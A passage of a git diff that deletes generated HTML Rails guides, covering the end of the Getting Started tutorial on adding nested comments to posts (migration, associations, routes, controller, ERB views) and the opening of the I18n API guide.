- create_table <span style="color: #990000">:</span>comments <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>commenter
- t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>body
- t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>post
-
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>comments
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>migrate</tt></pre></div></div>
-<div class="paragraph"><p>Rails is smart enough to only execute the migrations that have not already been run against this particular database.</p></div>
-<h3 id="_associating_models">8.2. Associating Models</h3>
-<div class="paragraph"><p>Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Each comment belongs to one post
-</p>
-</li>
-<li>
-<p>
-One post can have many comments
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>In fact, this is very close to the syntax that Rails uses to declare this association. You&#8217;ve already seen the line of code inside the Comment model that makes each comment belong to a Post:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>post
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You&#8217;ll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
- validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
- has_many <span style="color: #990000">:</span>comments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on Active Record associations, see the <a href="../association_basics.html">Active Record Associations</a> guide.</td>
-</tr></table>
-</div>
-<h3 id="_adding_a_route">8.3. Adding a Route</h3>
-<div class="paragraph"><p><em>Routes</em> are entries in the <tt>config/routes.rb</tt> file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to <tt>posts</tt>. Then edit it as follows:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>post<span style="color: #990000">|</span>
- post<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>comments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on routing, see the <a href="../routing_outside_in.html">Rails Routing from the Outside In</a> guide.</td>
-</tr></table>
-</div>
-<h3 id="_generating_a_controller">8.4. Generating a Controller</h3>
-<div class="paragraph"><p>With the model in hand, you can turn your attention to creating a matching controller. Again, there&#8217;s a generator for this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate controller Comments index show new edit</tt></pre></div></div>
-<div class="paragraph"><p>This creates seven files:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>app/controllers/comments_controller.rb</tt> - The controller
-</p>
-</li>
-<li>
-<p>
-<tt>app/helpers/comments_helper.rb</tt> - A view helper file
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/index.html.erb</tt> - The view for the index action
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/show.html.erb</tt> - The view for the show action
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/new.html.erb</tt> - The view for the new action
-</p>
-</li>
-<li>
-<p>
-<tt>app/views/comments/edit.html.erb</tt> - The view for the edit action
-</p>
-</li>
-<li>
-<p>
-<tt>test/functional/comments_controller_test.rb</tt> - The functional tests for the controller
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>The controller will be generated with empty methods for each action that you specified in the call to <tt>script/generate controller</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You&#8217;ll need to flesh this out with code to actually process requests appropriately in each method. Here&#8217;s a version that (for simplicity&#8217;s sake) only responds to requests that require HTML:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
- <span style="color: #009900">@comments</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
- redirect_to post_comment_url<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
- <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
- redirect_to post_comment_url<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You&#8217;ll see a bit more complexity here than you did in the controller for posts. That&#8217;s a side-effect of the nesting that you&#8217;ve set up; each request for a comment has to keep track of the post to which the comment is attached.</p></div>
-<div class="paragraph"><p>In addition, the code takes advantage of some of the methods available for an association. For example, in the <tt>new</tt> method, it calls</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build</tt></pre></div></div>
-<div class="paragraph"><p>This creates a new <tt>Comment</tt> object <em>and</em> sets up the <tt>post_id</tt> field to have the <tt>id</tt> from the specified <tt>Post</tt> object in a single operation.</p></div>
-<h3 id="_building_views">8.5. Building Views</h3>
-<div class="paragraph"><p>Because you skipped scaffolding, you&#8217;ll need to build views for comments "by hand." Invoking <tt>script/generate controller</tt> will give you skeleton views, but they&#8217;ll be devoid of actual content. Here&#8217;s a first pass at fleshing out the comment views.</p></div>
-<div class="paragraph"><p>The <tt>index.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Comments <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> <span style="color: #FF0000">&lt;%= @post.title %&gt;&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;table&gt;</span>
- <span style="color: #FF0000">&lt;tr&gt;</span>
- <span style="color: #FF0000">&lt;th&gt;</span>Commenter<span style="color: #FF0000">&lt;/th&gt;</span>
- <span style="color: #FF0000">&lt;th&gt;</span>Body<span style="color: #FF0000">&lt;/th&gt;</span>
- <span style="color: #FF0000">&lt;/tr&gt;</span>
-
-<span style="color: #FF0000">&lt;% for comment in @comments %&gt;</span>
- <span style="color: #FF0000">&lt;tr&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%=h comment.commenter %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%=h comment.body %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Show', post_comment_path(@post, comment) %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Edit', edit_post_comment_path(@post, comment) %&gt;&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Destroy', post_comment_path(@post, comment), :confirm =&gt;</span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/td&gt;</span>
- <span style="color: #FF0000">&lt;/tr&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;/table&gt;</span>
-
-<span style="color: #FF0000">&lt;br /&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'New comment', new_post_comment_path(@post) %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back to Post', @post %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>new.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New comment<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for([@post, @comment]) do |f| %&gt;</span>
- <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :commenter %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :commenter %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :body %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_area :body %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.submit "Create" %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>show.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Comment on <span style="color: #FF0000">&lt;%= @post.title %&gt;&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @comment.commenter %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Comment<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @comment.body %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>edit.html.erb</tt> view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing comment<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for([@post, @comment]) do |f| %&gt;</span>
- <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :commenter %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :commenter %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :body %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_area :body %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.submit "Update" %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Show', post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.</p></div>
-<h3 id="_hooking_comments_to_posts">8.6. Hooking Comments to Posts</h3>
-<div class="paragraph"><p>As a final step, I&#8217;ll modify the <tt>show.html.erb</tt> view for a post to show the comments on that post, and to allow managing those comments:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Name<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @post.name %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Title<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @post.title %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Content<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @post.content %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;h2&gt;</span>Comments<span style="color: #FF0000">&lt;/h2&gt;</span>
-<span style="color: #FF0000">&lt;% @post.comments.each do |c| %&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h c.commenter %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Comment<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h c.body %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Manage Comments', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Note that each post has its own individual comments collection, accessible as <tt>@post.comments</tt>. That&#8217;s a consequence of the declarative associations in the models. Path helpers such as <tt>post_comments_path</tt> come from the nested route declaration in <tt>config/routes.rb</tt>.</p></div>
-</div>
-<h2 id="_what_8217_s_next">9. What&#8217;s Next?</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Now that you&#8217;ve seen your first Rails application, you should feel free to update it and experiment on your own. But you don&#8217;t have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The <a href="http://guides.rubyonrails.org/">Ruby On Rails guides</a>
-</p>
-</li>
-<li>
-<p>
-The <a href="http://groups.google.com/group/rubyonrails-talk">Ruby on Rails mailing list</a>
-</p>
-</li>
-<li>
-<p>
-The #rubyonrails channel on irc.freenode.net
-</p>
-</li>
-<li>
-<p>
-The <a href="http://wiki.rubyonrails.org/rails">Rails wiki</a>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Rails also comes with built-in help that you can generate using the rake command-line utility:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Running <tt>rake doc:guides</tt> will put a full copy of the Rails Guides in the <tt>/doc/guides</tt> folder of your application. Open <tt>/doc/guides/index.html</tt> in your web browser to explore the Guides.
-</p>
-</li>
-<li>
-<p>
-Running <tt>rake doc:rails</tt> will put a full copy of the API documentation for Rails in the <tt>/doc/api</tt> folder of your application. Open <tt>/doc/api/index.html</tt> in your web browser to explore the API documentation.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">10. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-November 3, 2008: Formatting patch from Dave Rothlisberger
-</p>
-</li>
-<li>
-<p>
-November 1, 2008: First approved version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-October 16, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 13, 2008: First complete draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-October 12, 2008: More detail, rearrangement, editing by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-September 8, 2008: initial version by James Miller (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/i18n.html b/railties/doc/guides/html/i18n.html
deleted file mode 100644
index 8a6e4cc990..0000000000
--- a/railties/doc/guides/html/i18n.html
+++ /dev/null
@@ -1,858 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>The Rails Internationalization (I18n) API</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_how_i18n_in_ruby_on_rails_works">How I18n in Ruby on Rails works</a>
- <ul>
-
- <li><a href="#_the_overall_architecture_of_the_library">The overall architecture of the library</a></li>
-
- <li><a href="#_the_public_i18n_api">The public I18n API</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_setup_the_rails_application_for_internationalization">Setup the Rails application for internationalization</a>
- <ul>
-
- <li><a href="#_configure_the_i18n_module">Configure the I18n module</a></li>
-
- <li><a href="#_optional_custom_i18n_configuration_setup">Optional: custom I18n configuration setup</a></li>
-
- <li><a href="#_setting_and_passing_the_locale">Setting and passing the locale</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_internationalize_your_application">Internationalize your application</a>
- <ul>
-
- <li><a href="#_adding_translations">Adding Translations</a></li>
-
- <li><a href="#_adding_date_time_formats">Adding Date/Time formats</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_overview_of_the_i18n_api_features">Overview of the I18n API features</a>
- <ul>
-
- <li><a href="#_looking_up_translations">Looking up translations</a></li>
-
- <li><a href="#_interpolation">Interpolation</a></li>
-
- <li><a href="#_pluralization">Pluralization</a></li>
-
- <li><a href="#_setting_and_passing_a_locale">Setting and passing a locale</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_how_to_store_your_custom_translations">How to store your custom translations</a>
- <ul>
-
- <li><a href="#_translations_for_activerecord_models">Translations for ActiveRecord models</a></li>
-
- <li><a href="#_other_translations_and_localizations">Other translations and localizations</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_customize_your_i18n_setup">Customize your I18n setup</a>
- <ul>
-
- <li><a href="#_using_different_backends">Using different backends</a></li>
-
- <li><a href="#_using_different_exception_handlers">Using different exception handlers</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_resources">Resources</a>
- </li>
- <li>
- <a href="#_footnotes">Footnotes</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>The Rails Internationalization (I18n) API</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>The Ruby I18n (shorthand for <em>internationalization</em>) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or providing multi-language support in your application.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available. See Rails <a href="http://rails-i18n.org/wiki">I18n Wiki</a> for more information.</td>
-</tr></table>
-</div>
-</div>
-</div>
-<h2 id="_how_i18n_in_ruby_on_rails_works">1. How I18n in Ruby on Rails works</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-providing support for English and similar languages out of the box
-</p>
-</li>
-<li>
-<p>
-making it easy to customize and extend everything for other languages
-</p>
-</li>
-</ul></div>
